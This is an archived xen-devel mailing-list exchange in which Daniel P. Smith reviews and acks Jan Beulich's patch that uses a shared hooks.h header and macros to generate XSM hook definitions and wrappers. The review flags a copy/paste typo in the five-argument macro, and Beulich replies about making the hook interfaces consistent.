	bh=nsyyHMTbFfYhBdAWGvcx+uZU8yQVcmEFptEqyh2cX7w=;
	b=pLgD4c1QaQMIj2kLp6CYlzpXbn+WwkeH5XIasQuxci5rNOPYqDg7m2MQtyAXIeoa
	Ib0FYg8pQaYn8AuJ87uWsM8E2PXQxjqN3x65KfRQdgCQN8BohT+wMV+pQzjkbyRH0bK
	ceDsghz0h/LqeE2a5FN2y802uUkACruvRUg+1DVI=
Message-ID: <62738b20-ef4b-47ac-832c-5c5fe353e56f@apertussolutions.com>
Date: Thu, 30 Jul 2026 11:05:31 -0400
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 01/24] XSM: reduce redundancy in hook machinery
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
 <7487f138-e5e9-41d6-9291-f5eef42d09a1@suse.com>
Content-Language: en-US
From: "Daniel P. Smith" <dpsmith@apertussolutions.com>
In-Reply-To: <7487f138-e5e9-41d6-9291-f5eef42d09a1@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-ZohoMailClient: External
X-purgate-ID: tlsNG-c201ff/1785423932-724B42A1-4B2EE419/0/0
X-purgate-type: clean
X-purgate-size: 18412

On 7/28/26 9:13 AM, Jan Beulich wrote:
> Hook definition (in struct xsm_ops), wrappers, dummy_ops, and flask_ops
> need keeping in sync (including any involved #ifdef-ary), i.e. require
> consistent adjustments in multiple places when a change is necessary.
> Reduce this by introducing a multi-use helper header file. (However,
> hooks not taking xsm_default_t as first argument in the wrappers aren't
> covered.)

I have never really been a fan of the duplication, which is fragile.

> As there's some re-arrangement of field order in struct xsm_ops anyway,
> also group together everything depending on SYSCTL=y. Similarly move
> .mem_sharing_op() into the MEM_SHARING conditional.
> 
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> ---
> RFC: In principle dummy.h could also be covered, by further specifying
>       both the expected xsm_default_t value and the actual operation as
>       further arguments to XSM_HOOK(). I'm worried that this may end up a
>       little unwieldy in hooks.h, though.
> 
> Hooks not taking xsm_default_t as first argument could of course be
> adjusted to take one, at which point they could be covered here as well.
> Question is why there is this difference in the first place.

I have a theory but I am not confident to write it down. I can see if I 
can confirm with DDG if you really care that much to know the why. 
Personally having a consistent hook interface convention would provide a 
simpler pattern for people to follow if they are having to introdcue a 
new hook.

> .{alloc,free}_security_evtchns() and their dummy wrappers use struct
> evtchn[] notation, while xsm_{alloc,free}_security_evtchns() use struct
> evtchn *. Is there a reason for this inconsistency?

Person had one habit that was counter to Xen preference and missed one? 
I have no justification for it. IMHO the interfaces should be kept 
consistent to enable better grep-ability.

> 
> --- /dev/null
> +++ b/xen/include/xsm/hooks.h
> @@ -0,0 +1,137 @@
> +/* SPDX-License-Identifier: GPL-2.0-or-later */
> +
> +/* This file is intended to be included multiple times. */
> +
> +#ifndef XSM_HOOK
> +
> +#include <xen/macros.h>
> +
> +#define XSM_HOOK__(rtype, name, nargs, types...) \
> +    XSM_HOOK ## nargs(rtype, name, ## types)
> +
> +#define XSM_HOOK_(rtype, name, nargs, types...) \
> +    XSM_HOOK__(rtype, name, nargs, ## types)
> +
> +#define XSM_HOOK(rtype, name, types...) \
> +    XSM_HOOK_(rtype, name, count_args(types), ## types)
> +
> +#endif /* XSM_HOOK */
> +
> +XSM_HOOK(int, domain_create, struct domain *, uint32_t)
> +XSM_HOOK(int, getdomaininfo, struct domain *)
> +XSM_HOOK(int, get_domain_state, struct domain *)
> +
> +#ifdef CONFIG_SYSCTL
> +XSM_HOOK(int, sysctl, const struct xen_sysctl *)
> +#endif
> +
> +XSM_HOOK(int, set_target, struct domain *, struct domain *)
> +XSM_HOOK(int, domctl, struct domain *, struct xen_domctl *)
> +
> +XSM_HOOK(int, evtchn_unbound, struct domain *, struct evtchn *, domid_t)
> +XSM_HOOK(int, evtchn_interdomain, struct domain *, struct evtchn *,
> +                                  struct domain *, struct evtchn *)
> +XSM_HOOK(int, evtchn_send, struct domain *, struct evtchn *)
> +XSM_HOOK(int, evtchn_status, struct domain *, struct evtchn *)
> +XSM_HOOK(int, evtchn_reset, struct domain *, struct domain *)
> +
> +XSM_HOOK(int, grant_mapref, struct domain *, struct domain *, uint32_t)
> +XSM_HOOK(int, grant_unmapref, struct domain *, struct domain *)
> +XSM_HOOK(int, grant_setup, struct domain *, struct domain *)
> +XSM_HOOK(int, grant_transfer, struct domain *, struct domain *)
> +XSM_HOOK(int, grant_copy, struct domain *, struct domain *)
> +XSM_HOOK(int, grant_query_size, struct domain *, struct domain *)
> +
> +XSM_HOOK(int, init_hardware_domain, struct domain *)
> +
> +XSM_HOOK(int, get_pod_target, struct domain *)
> +XSM_HOOK(int, set_pod_target, struct domain *)
> +
> +XSM_HOOK(int, memory_exchange, struct domain *)
> +XSM_HOOK(int, memory_adjust_reservation, struct domain *, struct domain *)
> +XSM_HOOK(int, memory_stat_reservation, struct domain *, struct domain *)
> +XSM_HOOK(int, memory_pin_page, struct domain *, struct domain *,
> +                               struct page_info *)
> +XSM_HOOK(int, add_to_physmap, struct domain *, struct domain *)
> +XSM_HOOK(int, remove_from_physmap, struct domain *, struct domain *)
> +XSM_HOOK(int, map_gmfn_foreign, struct domain *, struct domain *)
> +XSM_HOOK(int, claim_pages, struct domain *)
> +
> +XSM_HOOK(int, console_io, struct domain *, int)
> +
> +XSM_HOOK(int, kexec)
> +
> +XSM_HOOK(int, schedop_shutdown, struct domain *, struct domain *)
> +
> +XSM_HOOK(int, map_domain_pirq, struct domain *)
> +XSM_HOOK(int, map_domain_irq, struct domain *, int, const void *)
> +XSM_HOOK(int, unmap_domain_pirq, struct domain *)
> +XSM_HOOK(int, unmap_domain_irq, struct domain *, int, const void *)
> +XSM_HOOK(int, bind_pt_irq, struct domain *, struct xen_domctl_bind_pt_irq *)
> +XSM_HOOK(int, unbind_pt_irq, struct domain *, struct xen_domctl_bind_pt_irq *)
> +
> +XSM_HOOK(int, irq_permission, struct domain *, int, uint8_t)
> +XSM_HOOK(int, iomem_permission, struct domain *, uint64_t, uint64_t, uint8_t)
> +XSM_HOOK(int, pci_config_permission, struct domain *, uint32_t, uint16_t,
> +                                     uint16_t, uint8_t)
> +
> +XSM_HOOK(int, iomem_mapping, struct domain *, uint64_t, uint64_t, uint8_t)
> +XSM_HOOK(int, iomem_mapping_vpci, struct domain *, uint64_t, uint64_t, uint8_t)
> +
> +#if defined(CONFIG_HAS_PASSTHROUGH) && defined(CONFIG_HAS_PCI)
> +XSM_HOOK(int, get_device_group, uint32_t)
> +#endif
> +
> +XSM_HOOK(int, resource_plug_pci, uint32_t)
> +XSM_HOOK(int, resource_unplug_pci, uint32_t)
> +XSM_HOOK(int, resource_setup_pci, uint32_t)
> +XSM_HOOK(int, resource_setup_gsi, int)
> +XSM_HOOK(int, resource_setup_misc)
> +
> +XSM_HOOK(int, hypfs_op)
> +
> +XSM_HOOK(int, hvm_param, struct domain *, unsigned long)
> +XSM_HOOK(int, hvm_param_altp2mhvm, struct domain *)
> +XSM_HOOK(int, hvm_altp2mhvm_op, struct domain *, uint64_t, uint32_t)
> +XSM_HOOK(int, get_vnumainfo, struct domain *)
> +
> +#ifdef CONFIG_VM_EVENT
> +XSM_HOOK(int, mem_access, struct domain *)
> +#endif
> +
> +#ifdef CONFIG_MEM_PAGING
> +XSM_HOOK(int, mem_paging, struct domain *)
> +#endif
> +
> +#ifdef CONFIG_MEM_SHARING
> +XSM_HOOK(int, mem_sharing, struct domain *)
> +XSM_HOOK(int, mem_sharing_op, struct domain *, struct domain *, int)
> +#endif
> +
> +XSM_HOOK(int, platform_op, uint32_t)
> +
> +#ifdef CONFIG_X86
> +XSM_HOOK(int, do_mca)
> +XSM_HOOK(int, apic, struct domain *, int)
> +XSM_HOOK(int, machine_memory_map)
> +XSM_HOOK(int, domain_memory_map, struct domain *)
> +XSM_HOOK(int, mmu_update, struct domain *, struct domain *, struct domain *,
> +                          uint32_t)
> +XSM_HOOK(int, mmuext_op, struct domain *, struct domain *)
> +XSM_HOOK(int, update_va_mapping, struct domain *, struct domain *, l1_pgentry_t)
> +XSM_HOOK(int, priv_mapping, struct domain *, struct domain *)
> +XSM_HOOK(int, ioport_permission, struct domain *, uint32_t, uint32_t, uint8_t)
> +XSM_HOOK(int, ioport_mapping, struct domain *, uint32_t, uint32_t, uint8_t)
> +XSM_HOOK(int, pmu_op, struct domain *, unsigned int)
> +#endif /* CONFIG_X86 */
> +
> +XSM_HOOK(int, dm_op, struct domain *)
> +XSM_HOOK(int, xen_version, uint32_t)
> +XSM_HOOK(int, domain_resource_map, struct domain *)
> +
> +#undef XSM_HOOK0
> +#undef XSM_HOOK1
> +#undef XSM_HOOK2
> +#undef XSM_HOOK3
> +#undef XSM_HOOK4
> +#undef XSM_HOOK5
> --- a/xen/include/xsm/xsm.h
> +++ b/xen/include/xsm/xsm.h
> @@ -41,6 +41,13 @@ enum xsm_default {
>   };
>   typedef enum xsm_default xsm_default_t;
>   
> +#ifdef CONFIG_X86
> +#define XSM_MMU_UPDATE_READ      1
> +#define XSM_MMU_UPDATE_WRITE     2
> +#define XSM_MMU_NORMAL_UPDATE    4
> +#define XSM_MMU_MACHPHYS_UPDATE  8
> +#endif /* CONFIG_X86 */
> +
>   /*
>    * !!! WARNING !!!
>    *
> @@ -54,131 +61,36 @@ struct xsm_ops {
>       int (*set_system_active)(void);
>       void (*security_domaininfo)(struct domain *d,
>                                   struct xen_domctl_getdomaininfo *info);
> -    int (*domain_create)(struct domain *d, uint32_t ssidref);
> -    int (*getdomaininfo)(struct domain *d);
> -    int (*set_target)(struct domain *d, struct domain *e);
> -    int (*domctl)(struct domain *d, struct xen_domctl *op);
> -#ifdef CONFIG_SYSCTL
> -    int (*sysctl)(const struct xen_sysctl *op);
> -#endif
>   
> -    int (*evtchn_unbound)(struct domain *d, struct evtchn *chn, domid_t id2);
> -    int (*evtchn_interdomain)(struct domain *d1, struct evtchn *chn1,
> -                              struct domain *d2, struct evtchn *chn2);
> +#define XSM_HOOK0(rtype, name) rtype (*name)(void);
> +#define XSM_HOOK1(rtype, name, type1) \
> +    rtype (*name)(type1 arg1);
> +#define XSM_HOOK2(rtype, name, type1, type2) \
> +    rtype (*name)(type1 arg1, type2 arg2);
> +#define XSM_HOOK3(rtype, name, type1, type2, type3) \
> +    rtype (*name)(type1 arg1, type2 arg2, type3 arg3);
> +#define XSM_HOOK4(rtype, name, type1, type2, type3, type4) \
> +    rtype (*name)(type1 arg1, type2 arg2, type3 arg3, type4 arg4);
> +#define XSM_HOOK5(rtype, name, type1, type2, type3, type4, type5) \
> +    rtype (*name)(type1 arg1, type2 arg2, type3 arg3, type4 arg4, type5 arg5);
> +
> +#include "hooks.h"
> +
>       void (*evtchn_close_post)(struct evtchn *chn);
> -    int (*evtchn_send)(struct domain *d, struct evtchn *chn);
> -    int (*evtchn_status)(struct domain *d, struct evtchn *chn);
> -    int (*evtchn_reset)(struct domain *d1, struct domain *d2);
> -
> -    int (*grant_mapref)(struct domain *d1, struct domain *d2, uint32_t flags);
> -    int (*grant_unmapref)(struct domain *d1, struct domain *d2);
> -    int (*grant_setup)(struct domain *d1, struct domain *d2);
> -    int (*grant_transfer)(struct domain *d1, struct domain *d2);
> -    int (*grant_copy)(struct domain *d1, struct domain *d2);
> -    int (*grant_query_size)(struct domain *d1, struct domain *d2);
>   
>       int (*alloc_security_domain)(struct domain *d);
>       void (*free_security_domain)(struct domain *d);
>       int (*alloc_security_evtchns)(struct evtchn chn[], unsigned int nr);
>       void (*free_security_evtchns)(struct evtchn chn[], unsigned int nr);
>       char *(*show_security_evtchn)(struct domain *d, const struct evtchn *chn);
> -    int (*init_hardware_domain)(struct domain *d);
> -
> -    int (*get_pod_target)(struct domain *d);
> -    int (*set_pod_target)(struct domain *d);
> -    int (*memory_exchange)(struct domain *d);
> -    int (*memory_adjust_reservation)(struct domain *d1, struct domain *d2);
> -    int (*memory_stat_reservation)(struct domain *d1, struct domain *d2);
> -    int (*memory_pin_page)(struct domain *d1, struct domain *d2,
> -                           struct page_info *page);
> -    int (*add_to_physmap)(struct domain *d1, struct domain *d2);
> -    int (*remove_from_physmap)(struct domain *d1, struct domain *d2);
> -    int (*map_gmfn_foreign)(struct domain *d, struct domain *t);
> -    int (*claim_pages)(struct domain *d);
> -
> -    int (*console_io)(struct domain *d, int cmd);
> -
> -    int (*kexec)(void);
> -    int (*schedop_shutdown)(struct domain *d1, struct domain *d2);
>   
>       char *(*show_irq_sid)(int irq);
> -    int (*map_domain_pirq)(struct domain *d);
> -    int (*map_domain_irq)(struct domain *d, int irq, const void *data);
> -    int (*unmap_domain_pirq)(struct domain *d);
> -    int (*unmap_domain_irq)(struct domain *d, int irq, const void *data);
> -    int (*bind_pt_irq)(struct domain *d, struct xen_domctl_bind_pt_irq *bind);
> -    int (*unbind_pt_irq)(struct domain *d, struct xen_domctl_bind_pt_irq *bind);
> -    int (*irq_permission)(struct domain *d, int pirq, uint8_t allow);
> -    int (*iomem_permission)(struct domain *d, uint64_t s, uint64_t e,
> -                            uint8_t allow);
> -    int (*iomem_mapping)(struct domain *d, uint64_t s, uint64_t e,
> -                         uint8_t allow);
> -    int (*iomem_mapping_vpci)(struct domain *d, uint64_t s, uint64_t e,
> -                              uint8_t allow);
> -    int (*pci_config_permission)(struct domain *d, uint32_t machine_bdf,
> -                                 uint16_t start, uint16_t end, uint8_t access);
> -
> -#if defined(CONFIG_HAS_PASSTHROUGH) && defined(CONFIG_HAS_PCI)
> -    int (*get_device_group)(uint32_t machine_bdf);
> -#endif
> -
> -    int (*resource_plug_pci)(uint32_t machine_bdf);
> -    int (*resource_unplug_pci)(uint32_t machine_bdf);
> -    int (*resource_setup_pci)(uint32_t machine_bdf);
> -    int (*resource_setup_gsi)(int gsi);
> -    int (*resource_setup_misc)(void);
> -
> -    int (*hypfs_op)(void);
>   
>       long (*do_xsm_op)(XEN_GUEST_HANDLE_PARAM(void) op);
>   #ifdef CONFIG_COMPAT
>       int (*do_compat_op)(XEN_GUEST_HANDLE_PARAM(void) op);
>   #endif
>   
> -    int (*hvm_param)(struct domain *d, unsigned long op);
> -    int (*hvm_param_altp2mhvm)(struct domain *d);
> -    int (*hvm_altp2mhvm_op)(struct domain *d, uint64_t mode, uint32_t op);
> -    int (*get_vnumainfo)(struct domain *d);
> -
> -#ifdef CONFIG_VM_EVENT
> -    int (*mem_access)(struct domain *d);
> -#endif
> -
> -#ifdef CONFIG_MEM_PAGING
> -    int (*mem_paging)(struct domain *d);
> -#endif
> -
> -#ifdef CONFIG_MEM_SHARING
> -    int (*mem_sharing)(struct domain *d);
> -#endif
> -
> -    int (*platform_op)(uint32_t cmd);
> -
> -#ifdef CONFIG_X86
> -    int (*do_mca)(void);
> -    int (*mem_sharing_op)(struct domain *d, struct domain *cd, int op);
> -    int (*apic)(struct domain *d, int cmd);
> -    int (*machine_memory_map)(void);
> -    int (*domain_memory_map)(struct domain *d);
> -#define XSM_MMU_UPDATE_READ      1
> -#define XSM_MMU_UPDATE_WRITE     2
> -#define XSM_MMU_NORMAL_UPDATE    4
> -#define XSM_MMU_MACHPHYS_UPDATE  8
> -    int (*mmu_update)(struct domain *d, struct domain *t,
> -                      struct domain *f, uint32_t flags);
> -    int (*mmuext_op)(struct domain *d, struct domain *f);
> -    int (*update_va_mapping)(struct domain *d, struct domain *f,
> -                             l1_pgentry_t pte);
> -    int (*priv_mapping)(struct domain *d, struct domain *t);
> -    int (*ioport_permission)(struct domain *d, uint32_t s, uint32_t e,
> -                             uint8_t allow);
> -    int (*ioport_mapping)(struct domain *d, uint32_t s, uint32_t e,
> -                          uint8_t allow);
> -    int (*pmu_op)(struct domain *d, unsigned int op);
> -#endif
> -    int (*dm_op)(struct domain *d);
> -    int (*xen_version)(uint32_t cmd);
> -    int (*domain_resource_map)(struct domain *d);
>   #ifdef CONFIG_ARGO
>       int (*argo_enable)(const struct domain *d);
>       int (*argo_register_single_source)(const struct domain *d,
> @@ -186,7 +98,6 @@ struct xsm_ops {
>       int (*argo_register_any_source)(const struct domain *d);
>       int (*argo_send)(const struct domain *d, const struct domain *t);
>   #endif
> -    int (*get_domain_state)(struct domain *d);
>   };
>   
>   #ifdef CONFIG_XSM
> @@ -206,113 +117,57 @@ static inline void xsm_security_domainin
>       alternative_vcall(xsm_ops.security_domaininfo, d, info);
>   }
>   
> -static inline int xsm_domain_create(
> -    xsm_default_t def, struct domain *d, uint32_t ssidref)
> -{
> -    return alternative_call(xsm_ops.domain_create, d, ssidref);
> -}
> +#define XSM_ALT_void alternative_vcall
> +#define XSM_ALT_int  return alternative_call
>   
> -static inline int xsm_getdomaininfo(xsm_default_t def, struct domain *d)
> -{
> -    return alternative_call(xsm_ops.getdomaininfo, d);
> +#define XSM_HOOK0(rtype, name) \
> +static inline rtype xsm_ ## name(xsm_default_t def) \
> +{ \
> +    XSM_ALT_ ## rtype(xsm_ops.name); \
>   }
>   
> -static inline int xsm_get_domain_state(xsm_default_t def, struct domain *d)
> -{
> -    return alternative_call(xsm_ops.get_domain_state, d);
> +#define XSM_HOOK1(rtype, name, type1) \
> +static inline rtype xsm_ ## name(xsm_default_t def, type1 arg1) \
> +{ \
> +    XSM_ALT_ ## rtype(xsm_ops.name, arg1); \
>   }
>   
> -static inline int xsm_set_target(
> -    xsm_default_t def, struct domain *d, struct domain *e)
> -{
> -    return alternative_call(xsm_ops.set_target, d, e);
> +#define XSM_HOOK2(rtype, name, type1, type2) \
> +static inline rtype xsm_ ## name( \
> +    xsm_default_t def, type1 arg1, type2 arg2) \
> +{ \
> +    XSM_ALT_ ## rtype(xsm_ops.name, arg1, arg2); \
>   }
>   
> -static inline int xsm_domctl(xsm_default_t def, struct domain *d,
> -                             struct xen_domctl *op)
> -{
> -    return alternative_call(xsm_ops.domctl, d, op);
> +#define XSM_HOOK3(rtype, name, type1, type2, type3) \
> +static inline rtype xsm_ ## name( \
> +    xsm_default_t def, type1 arg1, type2 arg2, type3 arg3) \
> +{ \
> +    XSM_ALT_ ## rtype(xsm_ops.name, arg1, arg2, arg3); \
>   }
>   
> -#ifdef CONFIG_SYSCTL
> -static inline int xsm_sysctl(xsm_default_t def, const struct xen_sysctl *op)
> -{
> -    return alternative_call(xsm_ops.sysctl, op);
> +#define XSM_HOOK4(rtype, name, type1, type2, type3, type4) \
> +static inline rtype xsm_ ## name( \
> +    xsm_default_t def, type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
> +{ \
> +    XSM_ALT_ ## rtype(xsm_ops.name, arg1, arg2, arg3, arg4); \
>   }
> -#endif
>   
> -static inline int xsm_evtchn_unbound(
> -    xsm_default_t def, struct domain *d1, struct evtchn *chn, domid_t id2)
> -{
> -    return alternative_call(xsm_ops.evtchn_unbound, d1, chn, id2);
> +#define XSM_HOOK5(rtype, name, type1, type2, type3, type4, type5) \
> +static inline rtype xsm_ ## name( \
> +    xsm_default_t def, type1 arg1, type2 arg2, type3 arg3, type4 arg4, \
> +    type4 arg5) \

Looks like you have copy/paste typo?

I would just note there is quite a bit of churn in this patch, most of 
it is mechanical, but makes it easy for these to slip through.

After fixing this typo,

Acked-by: Daniel P. Smith <dpsmith@apertussolutions.com>


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 15:19:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 15:19:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378004.1623670 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpSXI-000287-MY; Thu, 30 Jul 2026 15:19:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378004.1623670; Thu, 30 Jul 2026 15:19:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpSXI-000280-Jy; Thu, 30 Jul 2026 15:19:04 +0000
Received: by outflank-mailman (input) for mailman id 1378004;
 Thu, 30 Jul 2026 15:19:03 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wpSXG-00027u-Tw
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 15:19:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpSXG-000PWx-AS
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 17:19:02 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b6b5a-bab6-0a2a0a5309dd-0a2a4502bd4e-28
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 17:19:02 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b6b65-6ca4-0a2a45020019-d155802eb4a5-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 17:19:02 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-495635a85d2so18210135e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 08:19:02 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-498011f2b45sm66953885e9.4.2026.07.30.08.18.59
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 08:19:00 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Cc:Content-Language:References:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785424741; x=1786029541; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :cc:content-language:references:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=DK9G7ufTPTHJ9ZGVwRcesKJc9Bel6xGMhNXZ87Rz87c=;
        b=afOlprapHTv7j+kdsy55c58XkmIKLOUjJB2q1K7mi6Lq3WjjpUzbH9L8jGE98HuV+b
         RGnszrOb8zJL1yR4GsPDDKbczewkvEkFltV4nm9CF8n13JbDr2Ju1ChgII+jUsag5ECr
         /dypDUqPDK41oq8pOrnreHHJ3MpyZL5W5BjU/hilxrYhBZyAHCT49CHr/LE086fJM+mk
         TKxHpNpGh6/5CZ59EUkwxDSVkRiSQgz0qrCnfOH1/ndkVz7yyDn0cdkwOTlrU3QhsTlt
         UiT2wyfUEdtwp0zdvaQD5/5k7cjNiiC/wCJNe0Lc3+JZQpk0eZBABI6/SQ8GOIY14Mcy
         LfoQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785424741; x=1786029541;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :cc:content-language:references:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=DK9G7ufTPTHJ9ZGVwRcesKJc9Bel6xGMhNXZ87Rz87c=;
        b=G6dEloWKkBNN3ykvfFDbHIwKcDKeF1MEXQ/34R2SMpudiV1XVdC7p/O7Z3QnPHje5h
         IBwVD3m8blOgUKWBniRzJSArWTREXUNAqr629dx/hjhynjjxmwfDqdRZ/j12B1NFj4GB
         dCyMGqrdwHqgr9kFQxiyaigkFK7MhSzJ/zsYOP1aslbIFXH38TuV+QyoYsSESs+4XEAc
         8e5jLOdmQvchOXP7H/MXsKpKDn33DbhYpI7+1j7NtidP7Gtyls2CdPqLzuYoyRLoWLoF
         FZfbT+lssIohzFhP1O6wgTBTU7Z4oS7dgsc3NFJ4vo0q1zJjCtQn45P2e1A+nB3budh/
         2Ecg==
X-Gm-Message-State: AOJu0YwFG95ZQikM0hLYaksbzGhuN1lIy+FsIlfB4Fp55R4BElEdBcaY
	aySSoGdL/83s5cIDCFZT+Mo8iTw0y7a/K5SbWVpLrZDy2HsSBplgOIJhq5aGip4T3bu+FT4p6xS
	XckZkaA==
X-Gm-Gg: AR+sD12l5JFX56vhOKvTnO+KOYa/PVvbCRGJVs/hnOS13CKrXGc2kOH20D9mzOgcqeE
	OQfHJpzFtrg4dhIXSz6fxsObOV7YXrgpq1cTbRADxvCDorOuGl/YCLRq9CwU20sx1+6pJ/A/WhD
	eTCc4TE8offSc24oVGc0AoQny3HIRcYJccRfkBy6QjOxDuVk6jN+pZBV/HUrLY3OB1ZWLb1VJdv
	+bF7m169AY8qBPt0OVW31mj3IPSdYNWKuQRn5Ahmee2yObqG2J5G7QpCMidBVXnBRUaD5xS+pYc
	fnX5yxbT2Vt3jxz/6/MYSc9zn6j6EtF2lN4lIla0PqwUqyEGEA7PFeQfyx1Zbg44X/pUJ+S43Wr
	PJp7YUISb+oboZ+ZWnSCeXFxmhs3wVp4/MQAdy36c9NAaQrRvZydOCtvvsF08Qfpq6hR1U1HbBv
	AQCU540H4dpxlldxQb5W9ZGZ6W21d2FqVW58uDJ7FxScVKuuyJy7YTlrI/V8rDJqyk0b5VpNFbT
	wXhp6SOBvf0CTtl6Ta2H8Lew8Z4VQ7iLhes6F82BN/ZlmmFxfZA
X-Received: by 2002:a05:600c:1c27:b0:495:5045:39e6 with SMTP id 5b1f17b1804b1-49800e9d3abmr48995155e9.17.1785424741500;
        Thu, 30 Jul 2026 08:19:01 -0700 (PDT)
Message-ID: <8030ff8e-ed83-46c4-ba69-4954ee645c38@suse.com>
Date: Thu, 30 Jul 2026 17:18:58 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 01/24] XSM: reduce redundancy in hook machinery
To: "Daniel P. Smith" <dpsmith@apertussolutions.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
 <7487f138-e5e9-41d6-9291-f5eef42d09a1@suse.com>
 <62738b20-ef4b-47ac-832c-5c5fe353e56f@apertussolutions.com>
Content-Language: en-US
Cc: "xen-devel@lists.xenproject.org" <xen-devel@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vmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <62738b20-ef4b-47ac-832c-5c5fe353e56f@apertussolutions.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1785424742-664B62AC-A08EA0E0/0/0
X-purgate-type: clean
X-purgate-size: 4765

On 30.07.2026 17:05, Daniel P. Smith wrote:
> On 7/28/26 9:13 AM, Jan Beulich wrote:
>> Hooks not taking xsm_default_t as first argument could of course be
>> adjusted to take one, at which point they could be covered here as well.
>> Question is why there is this difference in the first place.
> 
> I have a theory but I am not confident to write it down. I can see if I 
> can confirm with DDG if you really care that much to know the why. 
> Personally having a consistent hook interface convention would provide a 
> simpler pattern for people to follow if they are having to introdcue a 
> new hook.

Well, I don't really need to know the reason. If you agree that making
things uniform is a good move, I can simply stick a few more patches at
the end of this series.

>> .{alloc,free}_security_evtchns() and their dummy wrappers use struct
>> evtchn[] notation, while xsm_{alloc,free}_security_evtchns() use struct
>> evtchn *. Is there a reason for this inconsistency?
> 
> Person had one habit that was counter to Xen preference and missed one? 
> I have no justification for it. IMHO the interfaces should be kept 
> consistent to enable better grep-ability.

Which direction would you want it changed? Personally I like the []
notation better when arrays are meant, but the pointer notation will be
quite a bit easier with the new hooks.h machinery.

